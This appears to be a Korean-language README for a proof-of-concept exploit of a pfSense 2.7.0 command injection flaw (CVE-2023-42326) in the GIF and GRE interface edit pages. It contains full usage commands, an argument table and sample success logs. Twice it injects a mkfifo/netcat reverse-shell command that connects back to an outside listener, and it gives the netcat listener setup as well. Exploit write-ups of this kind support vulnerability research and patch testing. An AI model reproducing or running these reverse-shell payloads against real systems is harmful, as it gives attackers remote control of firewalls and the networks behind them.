
이는 pfsense 2.7 명령어 주입 취약점 ( CVE-2023-42326)을 보여주기 위한 간단한 POC입니다.
이 Python 스크립트는 pfSense 2.7.0의 명령 삽입 취약점(CVE-2023-42326)에 대한 개념 증명(PoC) 익스플로잇입니다. 이 취약점을 통해 인증된 공격자는 interfaces_gif_edit.php 및 interfaces_gre_edit.php 구성 요소를 통해 임의 명령을 삽입하고 실행할 수 있습니다.
gif 또는 gre)으로 취약한 구성 요소 선택.스크립트를 실행하기 전에 다음이 준비되어 있어야 합니다:
pip install requests beautifulsoup4 rich
이 명령은 사용자 시스템으로 리버스 셸을 생성하는 셸 명령을 삽입합니다:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: pfSense 관리자 로그인 사용자 이름.-p: pfSense 관리자 로그인 비밀번호.--mode: 익스플로잇 모드 (gif 또는 gre).-t: pfSense 대상 URL.-c: 삽입할 셸 명령.-d: (선택 사항) 디버그 모드를 활성화하여 원시 응답 데이터를 확인합니다.사용자 시스템에서 Netcat 리스너가 실행 중인지 확인하십시오:
nc -lvnp 80
그런 다음, 다음과 같은 리버스 셸 명령으로 스크립트를 실행하십시오:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(유효한 SSL이 없는 https의 경우)
pfSense에 로그인하고 GIF 인터페이스 익스플로잇

리버스 셸 실행

익스플로잇이 성공적으로 실행되면 다음과 유사한 출력이 표시됩니다:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
전송 중인 요청에 대한 자세한 내용을 확인하려면 명령에 -d를 추가하여 디버그 모드를 활성화할 수 있습니다. 그러면 응답 데이터가 출력되고 문제 해결에 도움이 됩니다.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(유효한 SSL이 없는 https의 경우)
-d 플래그를 사용하여 더 자세한 로깅을 활성화하십시오.| 인수 | 설명 |
|---|
-u | pfSense 관리자 로그인 사용자 이름. |
-p | pfSense 관리자 로그인 비밀번호. |
-t | 대상 pfSense URL/IP 주소 (예: http://10.101.1.1). |
--mode | 익스플로잇 모드: gif (interfaces_gif_edit.php용) 또는 gre. |
-c | 취약한 구성 요소에 삽입할 명령. |
-d | 선택 사항. 디버그 모드를 활성화하여 응답 데이터를 출력합니다. |